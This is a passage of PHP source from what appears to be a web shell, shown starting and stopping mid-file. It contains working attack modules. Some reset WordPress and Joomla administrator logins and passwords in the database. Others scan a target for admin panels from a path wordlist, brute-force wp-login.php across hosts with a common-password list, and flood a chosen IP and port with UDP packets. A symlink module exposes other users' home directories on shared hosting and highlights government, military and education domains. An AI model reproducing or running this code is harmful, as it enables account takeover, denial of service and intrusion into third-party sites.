  3082. $a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());
  3083. $a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());
  3084. $a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 2") or die(mysql_error());
  3085. $a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 2") or die(mysql_error());
  3086. $a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 3") or die(mysql_error());
  3087. $a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 3") or die(mysql_error());
  3088. $a4s=@mysql_query("UPDATE wp_users SET user_email ='".$SQL."' WHERE ID = 1") or die(mysql_error());
  3089. if($a4s){
  3090. echo "<b> Success ..!! :)) sekarang bisa login ke wp-admin</b> ";
  3091. }
  3092. }
  3093. echo "
  3094. </div>"; }
  3095. elseif(isset($_GET['x']) && ($_GET['x'] == 'jm-reset'))
  3096. {
  3097. ?>
  3098. <form action="?y=<?php echo $pwd; ?>&x=jm-reset" method="post">
  3099. <?php
  3100. echo "<center/><br/><b><font color=#00ff00>+--==[ Joomla Reset Password ]==--+</font></b><br><br>";
  3101. if(empty($_POST['pwd'])){
  3102. echo "<FORM method='POST'><table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL </th></tr> <tr><td>&nbsp;&nbsp;Host</td><td>
  3103. <input style='width:270px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td>&nbsp;&nbsp;Database</td><td>
  3104. <input style='width:270px;' class='inputz' type='text' name='database' value='database' /></td></tr> <tr><td>&nbsp;&nbsp;username</td><td>
  3105. <input style='width:270px;' class='inputz' type='text' name='username' value='db_user' /></td></tr> <tr><td>&nbsp;&nbsp;password</td><td>
  3106. <input style='width:270px;' class='inputz' type='password' name='password' value='**' /></td></tr>
  3107. <tr><td>&nbsp;&nbsp;User baru</td><td>
  3108. <input style='width:270px;' class='inputz' name='admin' value='admin' /></td></tr>
  3109. <tr><td>&nbsp;&nbsp;pass baru </td><td>123456 =
  3110. <input style='width:130px;' class='inputz' name='pwd' value='e10adc3949ba59abbe56e057f20f883e' />&nbsp;
  3111. <input style='width:23%;' class='inputzbut' type='submit' value='change!' name='send' /></FORM>
  3112. </td></tr> </table><br><br><br><br>
  3113. ";
  3114. }else{
  3115. $localhost = $_POST['localhost'];
  3116. $database = $_POST['database'];
  3117. $username = $_POST['username'];
  3118. $password = $_POST['password'];
  3119. $pwd = $_POST['pwd'];
  3120. $admin = $_POST['admin'];
  3121. @mysql_connect($localhost,$username,$password) or die(mysql_error());
  3122. @mysql_select_db($database) or die(mysql_error());
  3123. $hash = crypt($pwd);
  3124. $SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 62") or die(mysql_error());
  3125. $SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 62") or die(mysql_error());
  3126. $SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 63") or die(mysql_error());
  3127. $SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 63") or die(mysql_error());
  3128. $SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 64") or die(mysql_error());
  3129. $SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 64") or die(mysql_error());
  3130. $SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 65") or die(mysql_error());
  3131. $SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 65") or die(mysql_error());
  3132. if($SQL){
  3133. echo "<b>Success : skarang password barunya >>> - (123456)";
  3134. }
  3135. }
  3136. echo "
  3137. </div>";
  3138. }
  3139. //////////////////////////////////////////////////////////////////////////////
  3140. elseif(isset($_GET['x']) && ($_GET['x'] == 'adfin'))
  3141. {
  3142. ?>
  3143. <form action="?y=<?php echo $pwd; ?>&x=adfin" method="post">
  3144. <?php
  3145. set_time_limit(0);
  3146. error_reporting(0);
  3147. $list['front'] ="admin
  3148. adm
  3149. admincp
  3150. admcp
  3151. cp
  3152. modcp
  3153. moderatorcp
  3154. adminare
  3155. admins
  3156. cpanel
  3157. controlpanel";
  3158. $list['end'] = "admin1.php
  3159. admin1.html
  3160. admin2.php
  3161. admin2.html
  3162. yonetim.php
  3163. yonetim.html
  3164. yonetici.php
  3165. yonetici.html
  3166. ccms/
  3167. ccms/login.php
  3168. ccms/index.php
  3169. maintenance/
  3170. webmaster/
  3171. adm/
  3172. configuration/
  3173. configure/
  3174. websvn/
  3175. admin/
  3176. admin/account.php
  3177. admin/account.html
  3178. admin/index.php
  3179. admin/index.html
  3180. admin/login.php
  3181. admin/login.html
  3182. admin/home.php
  3183. admin/controlpanel.html
  3184. admin/controlpanel.php
  3185. admin.php
  3186. admin.html
  3187. admin/cp.php
  3188. admin/cp.html
  3189. cp.php
  3190. cp.html
  3191. administrator/
  3192. administrator/index.html
  3193. administrator/index.php
  3194. administrator/login.html
  3195. administrator/login.php
  3196. administrator/account.html
  3197. administrator/account.php
  3198. administrator.php
  3199. administrator.html
  3200. login.php
  3201. login.html
  3202. modelsearch/login.php
  3203. moderator.php
  3204. moderator.html
  3205. moderator/login.php
  3206. moderator/login.html
  3207. moderator/admin.php
  3208. moderator/admin.html
  3209. moderator/
  3210. account.php
  3211. account.html
  3212. controlpanel/
  3213. controlpanel.php
  3214. controlpanel.html
  3215. admincontrol.php
  3216. admincontrol.html
  3217. adminpanel.php
  3218. adminpanel.html
  3219. admin1.asp
  3220. admin2.asp
  3221. yonetim.asp
  3222. yonetici.asp
  3223. admin/account.asp
  3224. admin/index.asp
  3225. admin/login.asp
  3226. admin/home.asp
  3227. admin/controlpanel.asp
  3228. admin.asp
  3229. admin/cp.asp
  3230. cp.asp
  3231. administrator/index.asp
  3232. administrator/login.asp
  3233. administrator/account.asp
  3234. administrator.asp
  3235. login.asp
  3236. modelsearch/login.asp
  3237. moderator.asp
  3238. moderator/login.asp
  3239. moderator/admin.asp
  3240. account.asp
  3241. controlpanel.asp
  3242. admincontrol.asp
  3243. adminpanel.asp
  3244. fileadmin/
  3245. fileadmin.php
  3246. fileadmin.asp
  3247. fileadmin.html
  3248. administration/
  3249. administration.php
  3250. administration.html
  3251. sysadmin.php
  3252. sysadmin.html
  3253. phpmyadmin/
  3254. myadmin/
  3255. sysadmin.asp
  3256. sysadmin/
  3257. ur-admin.asp
  3258. ur-admin.php
  3259. ur-admin.html
  3260. ur-admin/
  3261. Server.php
  3262. Server.html
  3263. Server.asp
  3264. Server/
  3265. wp-admin/
  3266. administr8.php
  3267. administr8.html
  3268. administr8/
  3269. administr8.asp
  3270. webadmin/
  3271. webadmin.php
  3272. webadmin.asp
  3273. webadmin.html
  3274. administratie/
  3275. admins/
  3276. admins.php
  3277. admins.asp
  3278. admins.html
  3279. administrivia/
  3280. Database_Administration/
  3281. WebAdmin/
  3282. useradmin/
  3283. sysadmins/
  3284. admin1/
  3285. system-administration/
  3286. administrators/
  3287. pgadmin/
  3288. directadmin/
  3289. staradmin/
  3290. ServerAdministrator/
  3291. SysAdmin/
  3292. administer/
  3293. LiveUser_Admin/
  3294. sys-admin/
  3295. typo3/
  3296. panel/
  3297. cpanel/
  3298. cPanel/
  3299. cpanel_file/
  3300. platz_login/
  3301. rcLogin/
  3302. blogindex/
  3303. formslogin/
  3304. autologin/
  3305. support_login/
  3306. meta_login/
  3307. manuallogin/
  3308. simpleLogin/
  3309. loginflat/
  3310. utility_login/
  3311. showlogin/
  3312. memlogin/
  3313. members/
  3314. login-redirect/
  3315. sub-login/
  3316. wp-login/
  3317. login1/
  3318. dir-login/
  3319. login_db/
  3320. xlogin/
  3321. smblogin/
  3322. customer_login/
  3323. UserLogin/
  3324. login-us/
  3325. acct_login/
  3326. admin_area/
  3327. bigadmin/
  3328. project-admins/
  3329. phppgadmin/
  3330. pureadmin/
  3331. sql-admin/
  3332. radmind/
  3333. openvpnadmin/
  3334. wizmysqladmin/
  3335. vadmind/
  3336. ezsqliteadmin/
  3337. hpwebjetadmin/
  3338. newsadmin/
  3339. adminpro/
  3340. Lotus_Domino_Admin/
  3341. bbadmin/
  3342. vmailadmin/
  3343. Indy_admin/
  3344. ccp14admin/
  3345. irc-macadmin/
  3346. banneradmin/
  3347. sshadmin/
  3348. phpldapadmin/
  3349. macadmin/
  3350. administratoraccounts/
  3351. admin4_account/
  3352. admin4_colon/
  3353. radmind-1/
  3354. Super-Admin/
  3355. AdminTools/
  3356. cmsadmin/
  3357. SysAdmin2/
  3358. globes_admin/
  3359. cadmins/
  3360. phpSQLiteAdmin/
  3361. navSiteAdmin/
  3362. server_admin_small/
  3363. logo_sysadmin/
  3364. server/
  3365. database_administration/
  3366. power_user/
  3367. system_administration/
  3368. ss_vms_admin_sm/
  3369. adminarea/
  3370. bb-admin/
  3371. adminLogin/
  3372. panel-administracion/
  3373. instadmin/
  3374. memberadmin/
  3375. administratorlogin/
  3376. admin/admin.php
  3377. admin_area/admin.php
  3378. admin_area/login.php
  3379. siteadmin/login.php
  3380. siteadmin/index.php
  3381. siteadmin/login.html
  3382. admin/admin.html
  3383. admin_area/index.php
  3384. bb-admin/index.php
  3385. bb-admin/login.php
  3386. bb-admin/admin.php
  3387. admin_area/login.html
  3388. admin_area/index.html
  3389. admincp/index.asp
  3390. admincp/login.asp
  3391. admincp/index.html
  3392. webadmin/index.html
  3393. webadmin/admin.html
  3394. webadmin/login.html
  3395. admin/admin_login.html
  3396. admin_login.html
  3397. panel-administracion/login.html
  3398. nsw/admin/login.php
  3399. webadmin/login.php
  3400. admin/admin_login.php
  3401. admin_login.php
  3402. admin_area/admin.html
  3403. pages/admin/admin-login.php
  3404. admin/admin-login.php
  3405. admin-login.php
  3406. bb-admin/index.html
  3407. bb-admin/login.html
  3408. bb-admin/admin.html
  3409. admin/home.html
  3410. pages/admin/admin-login.html
  3411. admin/admin-login.html
  3412. admin-login.html
  3413. admin/adminLogin.html
  3414. adminLogin.html
  3415. home.html
  3416. rcjakar/admin/login.php
  3417. adminarea/index.html
  3418. adminarea/admin.html
  3419. webadmin/index.php
  3420. webadmin/admin.php
  3421. user.html
  3422. modelsearch/login.html
  3423. adminarea/login.html
  3424. panel-administracion/index.html
  3425. panel-administracion/admin.html
  3426. modelsearch/index.html
  3427. modelsearch/admin.html
  3428. admincontrol/login.html
  3429. adm/index.html
  3430. adm.html
  3431. user.php
  3432. panel-administracion/login.php
  3433. wp-login.php
  3434. adminLogin.php
  3435. admin/adminLogin.php
  3436. home.php
  3437. adminarea/index.php
  3438. adminarea/admin.php
  3439. adminarea/login.php
  3440. panel-administracion/index.php
  3441. panel-administracion/admin.php
  3442. modelsearch/index.php
  3443. modelsearch/admin.php
  3444. admincontrol/login.php
  3445. adm/admloginuser.php
  3446. admloginuser.php
  3447. admin2/login.php
  3448. admin2/index.php
  3449. adm/index.php
  3450. adm.php
  3451. affiliate.php
  3452. adm_auth.php
  3453. memberadmin.php
  3454. administratorlogin.php
  3455. admin/admin.asp
  3456. admin_area/admin.asp
  3457. admin_area/login.asp
  3458. admin_area/index.asp
  3459. bb-admin/index.asp
  3460. bb-admin/login.asp
  3461. bb-admin/admin.asp
  3462. pages/admin/admin-login.asp
  3463. admin/admin-login.asp
  3464. admin-login.asp
  3465. user.asp
  3466. webadmin/index.asp
  3467. webadmin/admin.asp
  3468. webadmin/login.asp
  3469. admin/admin_login.asp
  3470. admin_login.asp
  3471. panel-administracion/login.asp
  3472. adminLogin.asp
  3473. admin/adminLogin.asp
  3474. home.asp
  3475. adminarea/index.asp
  3476. adminarea/admin.asp
  3477. adminarea/login.asp
  3478. panel-administracion/index.asp
  3479. panel-administracion/admin.asp
  3480. modelsearch/index.asp
  3481. modelsearch/admin.asp
  3482. admincontrol/login.asp
  3483. adm/admloginuser.asp
  3484. admloginuser.asp
  3485. admin2/login.asp
  3486. admin2/index.asp
  3487. adm/index.asp
  3488. adm.asp
  3489. affiliate.asp
  3490. adm_auth.asp
  3491. memberadmin.asp
  3492. administratorlogin.asp
  3493. siteadmin/login.asp
  3494. siteadmin/index.asp
  3495. ADMIN/
  3496. paneldecontrol/
  3497. login/
  3498. cms/
  3499. admon/
  3500. ADMON/
  3501. administrador/
  3502. ADMIN/login.php
  3503. panelc/
  3504. ADMIN/login.html";
  3505. function template() {
  3506. echo '
  3507. <script type="text/javascript">
  3508. <!--
  3509. function insertcode($text, $place, $replace)
  3510. {
  3511. var $this = $text;
  3512. var logbox = document.getElementById($place);
  3513. if($replace == 0)
  3514. document.getElementById($place).innerHTML = logbox.innerHTML+$this;
  3515. else
  3516. document.getElementById($place).innerHTML = $this;
  3517. //document.getElementById("helpbox").innerHTML = $this;
  3518. }
  3519. -->
  3520. </script>
  3521. <br>
  3522. <br>
  3523. <h1 class="technique-two">
  3524. </h1>
  3525. <div class="wrapper">
  3526. <div class="red">
  3527. <div class="tube">
  3528. <center><table class="tabnet"><th colspan="2">Admin Finder</th><tr><td>
  3529. <form action="" method="post" name="xploit_form">
  3530. <tr>
  3531. <tr>
  3532. <b><td>URL</td>
  3533. <td><input class="inputz" type="text" name="xploit_url" value="'.$_POST['xploit_url'].'" style="width: 350px;" />
  3534. </td>
  3535. </tr><tr>
  3536. <td>404 string</td>
  3537. <td><input class="inputz" type="text" name="xploit_404string" value="'.$_POST['xploit_404string'].'" style="width: 350px;" />
  3538. </td></b>
  3539. </tr><br><td>
  3540. <span style="float: center;"><input class="inputzbut" type="submit" name="xploit_submit" value=" Start Scan" align="center" />
  3541. </span></td></tr>
  3542. </form></td></tr>
  3543. <br /></table>
  3544. </div> <!-- /tube -->
  3545. </div> <!-- /red -->
  3546. <br />
  3547. <div class="green">
  3548. <div class="tube" id="rightcol">
  3549. Verificat: <span id="verified">0</span> / <span id="total">0</span><br />
  3550. <b>Found ones:<br /></b>
  3551. </div> <!-- /tube -->
  3552. </div></center><!-- /green -->
  3553. <br clear="all" /><br />
  3554. <div class="blue">
  3555. <div class="tube" id="logbox">
  3556. <br />
  3557. <br />
  3558. Admin page Finder :<br /><br />
  3559. </div> <!-- /tube -->
  3560. </div> <!-- /blue -->
  3561. </div> <!-- /wrapper -->
  3562. <br clear="all"><br>';
  3563. }
  3564. function show($msg, $br=1, $stop=0, $place='logbox', $replace=0) {
  3565. if($br == 1) $msg .= "<br />";
  3566. echo "<script type=\"text/javascript\">insertcode('".$msg."', '".$place."', '".$replace."');</script>";
  3567. if($stop == 1) exit;
  3568. @flush();@ob_flush();
  3569. }
  3570. function check($x, $front=0) {
  3571. global $_POST,$site,$false;
  3572. if($front == 0) $t = $site.$x;
  3573. else $t = 'http://'.$x.'.'.$site.'/';
  3574. $headers = get_headers($t);
  3575. if (!eregi('200', $headers[0])) return 0;
  3576. $data = @file_get_contents($t);
  3577. if($_POST['xploit_404string'] == "") if($data == $false) return 0;
  3578. if($_POST['xploit_404string'] != "") if(strpos($data, $_POST['xploit_404string'])) return 0;
  3579. return 1;
  3580. }
  3581. // --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  3582. template();
  3583. if(!isset($_POST['xploit_url'])) die;
  3584. if($_POST['xploit_url'] == '') die;
  3585. $site = $_POST['xploit_url'];
  3586. if ($site[strlen($site)-1] != "/") $site .= "/";
  3587. if($_POST['xploit_404string'] == "") $false = @file_get_contents($site."d65897f5380a21a42db94b3927b823d56ee1099a-this_can-t_exist.html");
  3588. $list['end'] = str_replace("\r", "", $list['end']);
  3589. $list['front'] = str_replace("\r", "", $list['front']);
  3590. $pathes = explode("\n", $list['end']);
  3591. $frontpathes = explode("\n", $list['front']);
  3592. show(count($pathes)+count($frontpathes), 1, 0, 'total', 1);
  3593. $verificate = 0;
  3594. foreach($pathes as $path) {
  3595. show('Checking '.$site.$path.' : ', 0, 0, 'logbox', 0);
  3596. $verificate++; show($verificate, 0, 0, 'verified', 1);
  3597. if(check($path) == 0) show('not found', 1, 0, 'logbox', 0);
  3598. else{
  3599. show('<span style="color: #00FF00;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
  3600. show('<a href="'.$site.$path.'">'.$site.$path.'</a>', 1, 0, 'rightcol', 0);
  3601. }
  3602. }
  3603. preg_match("/\/\/(.*?)\//i", $site, $xx); $site = $xx[1];
  3604. if(substr($site, 0, 3) == "www") $site = substr($site, 4);
  3605. foreach($frontpathes as $frontpath) {
  3606. show('Checking http://'.$frontpath.'.'.$site.'/ : ', 0, 0, 'logbox', 0);
  3607. $verificate++; show($verificate, 0, 0, 'verified', 1);
  3608. if(check($frontpath, 1) == 0) show('not found', 1, 0, 'logbox', 0);
  3609. else{
  3610. show('<span style="color: #00FF00;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
  3611. show('<a href="http://'.$frontpath.'.'.$site.'/">'.$frontpath.'.'.$site.'</a>', 1, 0, 'rightcol', 0);
  3612. }
  3613. }
  3614. }
  3615. //////////////////////////////////////////////////////////////////////////////
  3616. elseif(isset($_GET['x']) && ($_GET['x'] == 'wpbrute'))
  3617. {
  3618. ?>
  3619. <form action="?y=<?php echo $pwd; ?>&x=wpbrute" method="post">
  3620. <center>
  3621. <br><Br><b><font size='2' >+--=[ Wordpress Brute Force ]=--+</font><br>
  3622. <center><p>Tanks To <a href="https://www.facebook.com/anton115" target="_blank">Cah_bagus</a></p></b></center>
  3623. <form enctype="multipart/form-data" method="POST">
  3624. <table width='624' border='0' class='tabnet' id='Box'>
  3625. <tr><th colspan="5">Wordpress Brute Force</th></tr>
  3626. <tr>
  3627. <td >&nbsp;</td>
  3628. <td ><p>Hosts:</p></td>
  3629. <td ><p> Users:</p></td>
  3630. <td ><p>Passwords:</p></td>
  3631. </tr>
  3632. <tr>
  3633. <td>&nbsp;</td>
  3634. <td ><textarea style="background:black;" name="hosts" cols="30" rows="10" ><?php if($_POST){echo $_POST['hosts'];} ?></textarea></td>
  3635. <td ><textarea style="background:black;" name="usernames" cols="30" rows="10" ><?php if($_POST){echo $_POST['usernames'];}else {echo "admin";} ?></textarea></td>
  3636. <td ><textarea style="background:black;" name="passwords" cols="30" rows="10" ><?php if($_POST){echo $_POST['passwords'];}else {echo "admin\nadministrator\n123123\n123321\n123456\n1234567\n12345678\n123456789\n123456123456\nadmin2010\nadmin2011\npassword\nP@ssW0rd\n!@#$%^\n!@#$%^&*(\n(*&^%$#@!\n111111\n222222\n333333\n444444\n555555\n666666\n777777\n888888\n999999";} ?></textarea></td>
  3637. </tr>
  3638. <tr><td colspan="4"><input class='inputzbut' type="submit" name="submit" value="Brute Now" />
  3639. <?php
  3640. if($_POST)
  3641. {
  3642. $hosts = trim(filter($_POST['hosts']));
  3643. $passwords = trim(filter($_POST['passwords']));
  3644. $usernames = trim(filter($_POST['usernames']));
  3645. if($passwords && $usernames && $hosts)
  3646. {
  3647. $hosts_explode = explode("\n", $hosts);
  3648. $usernames_explode = explode("\n", $usernames);
  3649. $passwords_explode = explode("\n", $passwords);
  3650. foreach($hosts_explode as $host)
  3651. {
  3652. $host = RemoveLastSlash($host);
  3653. $hacked = 0;
  3654. $host = str_replace(array("http://","https://","www."),"",trim($host));
  3655. $host = "http://".$host;
  3656. $wpAdmin = $host.'/wp-admin/';
  3657. if(!url_exists($host."/wp-login.php"))
  3658. {echo "<p>".$host." => <font color='red'>Error In Login Page !</font></p>";ob_flush();flush();continue;}
  3659. foreach($usernames_explode as $username)
  3660. {
  3661. foreach($passwords_explode as $password)
  3662. {
  3663. $ch = curl_init();
  3664. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  3665. curl_setopt($ch,CURLOPT_URL,$host.'/wp-login.php');
  3666. curl_setopt($ch,CURLOPT_COOKIEJAR,"coki.txt");
  3667. curl_setopt($ch,CURLOPT_COOKIEFILE,"coki.txt");
  3668. curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
  3669. curl_setopt($ch,CURLOPT_POST,TRUE);
  3670. curl_setopt($ch,CURLOPT_POSTFIELDS,"log=".$username."&pwd=".$password."&wp-submit=Giri&#8207;"."&redirect_to=".$wpAdmin."&testcookie=1");
  3671. $login = curl_exec($ch);
  3672. if(eregi ("profile.php",$login) )
  3673. {
  3674. $hacked = 1;
  3675. echo "<p>".$host." => UserName : [<font color='green'>".$username."</font>] : Password : [<font color='green'>".$password."</font>]</p>";
  3676. ob_flush();flush();break;
  3677. }
  3678. }
  3679. if($hacked == 1){break;}
  3680. }
  3681. if($hacked == 0)
  3682. {echo "<p>".$host." => <font color='red'>Failed !</font></p>";ob_flush();flush();}
  3683. }
  3684. }
  3685. else {echo "<p><font color='red'>All fields are Required ! </font></p>";}
  3686. }
  3687. ?>
  3688. </td></tr>
  3689. </table></form></center>
  3690. <?php
  3691. function url_exists($strURL)
  3692. {
  3693. $resURL = curl_init();
  3694. curl_setopt($resURL, CURLOPT_URL, $strURL);
  3695. curl_setopt($resURL, CURLOPT_BINARYTRANSFER, 1);
  3696. curl_setopt($resURL, CURLOPT_HEADERFUNCTION, 'curlHeaderCallback');
  3697. curl_setopt($resURL, CURLOPT_FAILONERROR, 1);
  3698. curl_exec ($resURL);
  3699. $intReturnCode = curl_getinfo($resURL, CURLINFO_HTTP_CODE);
  3700. curl_close ($resURL);
  3701. if ($intReturnCode != 200){return false;}
  3702. else{return true ;}
  3703. }
  3704. function filter($string)
  3705. {
  3706. if(get_magic_quotes_gpc() != 0){return stripslashes($string); }
  3707. else{return $string; }
  3708. }
  3709. function RemoveLastSlash($host)
  3710. {
  3711. if(strrpos($host, '/', -1) == strlen($host)-1)
  3712. {return substr($host,0,strrpos($host, '/', -1));}
  3713. else{return $host;}
  3714. }
  3715. echo "</p>";
  3716. }
  3717. //////////////////////////////////////////////////////////////////////////////
  3718. elseif(isset($_GET['x']) && ($_GET['x'] == 'dos'))
  3719. {
  3720. ?>
  3721. <form action="?y=<?php echo $pwd; ?>&x=dos" method="post">
  3722. <center><br><br><br>
  3723. Your IP: <font color="red"><b><?php echo $my_ip; ?></b></font>&nbsp;(Don't DoS yourself nub)<br><br>
  3724. <table class="tabnet" style="width:333px;padding:0 1px;">
  3725. <th colspan="5">Ddos Tool</th>
  3726. <tr><tr><td>IP Target</td><td>:</td>
  3727. <td><input type="text" class="inputz" name="ip" size="48" maxlength="25" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';"/>
  3728. </td></tr>
  3729. <tr><td>Time</td><td>:</td>
  3730. <td><input type="text" class="inputz" name="time" size="48" maxlength="25" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';"/>
  3731. </td></tr>
  3732. <tr><td>Port</td><td>:</td>
  3733. <td><input type="text" class="inputz" name="port" size="48" maxlength="5" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';"/>
  3734. </td></tr></tr></table></b><br>
  3735. <input type="submit" class="inputzbut" name="fire" value=" Firee !!! ">
  3736. <br><br>
  3737. <center>
  3738. After initiating the DoS attack, please wait while the browser loads.
  3739. </center>
  3740. </form>
  3741. </center>
  3742. <?php
  3743. $submit = $_POST['fire'];
  3744. if (isset($submit)) {
  3745. $packets = 0;
  3746. $ip = $_POST['ip'];
  3747. $rand = $_POST['port'];
  3748. set_time_limit(0);
  3749. ignore_user_abort(FALSE);
  3750. $exec_time = $_POST['time'];
  3751. $time = time();
  3752. print "Flooded: $ip on port $rand <br><br>";
  3753. $max_time = $time+$exec_time;
  3754. for($i=0;$i<65535;$i++){
  3755. $out .= "X";
  3756. }
  3757. while(1){
  3758. $packets++;
  3759. if(time() > $max_time){
  3760. break;
  3761. }
  3762. $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
  3763. if($fp){
  3764. fwrite($fp, $out);
  3765. fclose($fp);
  3766. }
  3767. }
  3768. echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
  3769. }
  3770. }
  3771. elseif(isset($_GET['x']) && ($_GET['x'] == 'symlink'))
  3772. {
  3773. ?>
  3774. <form action="?y=<?php echo $pwd; ?>&x=symlink" method="post">
  3775. <?php
  3776. @set_time_limit(0);
  3777. echo "<br><br><center><h1>+--=[ Symlink ]=--+</h1></center><br><br><center><div class=content>";
  3778. @mkdir('sym',0777);
  3779. $htaccess = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  3780. $write =@fopen ('sym/.htaccess','w');
  3781. fwrite($write ,$htaccess);
  3782. @symlink('/','sym/root');
  3783. $filelocation = basename(__FILE__);
  3784. $read_named_conf = @file('/etc/named.conf');
  3785. if(!$read_named_conf)
  3786. {
  3787. echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
  3788. }
  3789. else
  3790. {
  3791. echo "<br><br><div class='tmp'><table border='1' bordercolor='#00ff00' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
  3792. foreach($read_named_conf as $subject){
  3793. if(eregi('zone',$subject)){
  3794. preg_match_all('#zone "(.*)"#',$subject,$string);
  3795. flush();
  3796. if(strlen(trim($string[1][0])) >2){
  3797. $UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
  3798. $name = $UID['name'] ;
  3799. @symlink('/','sym/root');
  3800. $name = $string[1][0];
  3801. $iran = '\.ir';
  3802. $israel = '\.il';
  3803. $indo = '\.id';
  3804. $sg12 = '\.sg';
  3805. $edu = '\.edu';
  3806. $gov = '\.gov';
  3807. $gose = '\.go';
  3808. $gober = '\.gob';
  3809. $mil1 = '\.mil';
  3810. $mil2 = '\.mi';
  3811. $malay = '\.my';
  3812. $china = '\.cn';
  3813. $japan = '\.jp';
  3814. $austr = '\.au';
  3815. $porn = '\.xxx';
  3816. $as = '\.uk';
  3817. $calfn = '\.ca';
  3818. if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
  3819. or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0])
  3820. or eregi ("$malay",$string[1][0]) or eregi("$china",$string[1][0]) or eregi("$japan",$string[1][0]) or eregi ("$austr",$string[1][0])
  3821. or eregi("$porn",$string[1][0]) or eregi("$as",$string[1][0]) or eregi ("$calfn",$string[1][0]))
  3822. {
  3823. $name = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>';
  3824. }
  3825. echo "
  3826. <tr>
  3827. <td>
  3828. <div class='dom'><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </div>
  3829. </td>
  3830. <td>
  3831. '.$UID['name']."
  3832. </td>
  3833. <td>
  3834. <a href='sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a>
  3835. </td>
  3836. </tr></div> ";
  3837. flush();
  3838. }
  3839. }
  3840. }
  3841. }
  3842. echo "</center></table>";
  3843. }
  3844. elseif(isset($_GET['x']) && ($_GET['x'] == 'domain'))
  3845. {
  3846. ?>
  3847. <form action="?y=<?php echo $pwd; ?>&x=domain" method="post">
  3848. <?php
  3849. echo '<br><br><center><h1>+--=[ local domain viewer ]=--+</h1></center><br><br><div class=content>';
  3850. $file = @implode(@file("/etc/named.conf"));
  3851. if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); }
  3852. preg_match_all("#named/(.*?).db#",$file ,$r);
  3853. $domains = array_unique($r[1]);
  3854. //check();
  3855. //if(isset($_GET['ShowAll']))
  3856. {
  3857. echo "<table align=center border=1 width=59% cellpadding=5>
  3858. <tr><td colspan=2>[+] There are : [ <b>".count($domains)."</b> ] Domain</td></tr>
  3859. <tr><td>Domain</td><td>User</td></tr>";
  3860. foreach($domains as $domain){
  3861. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
  3862. echo "<tr><td>$domain</td><td>".$user['name']."</td></tr>";
  3863. }
  3864. echo "</table>";
  3865. }
  3866. echo '</div>';
  3867. }
  3868. //////////////////////////////////////////////////////
  3869. /////////////////////////////////////////////////////
  3870. elseif(isset($_GET['x']) && ($_GET['x'] == 'tool'))
  3871. {
  3872. ?>
  3873. <form action="?y=<?php echo $pwd; ?>&x=tool" method="post">
  3874. <?php
  3875. error_reporting(0);
  3876. function ss($t){if (!get_magic_quotes_gpc()) return trim(urldecode($t));return trim(urldecode(stripslashes($t)));}
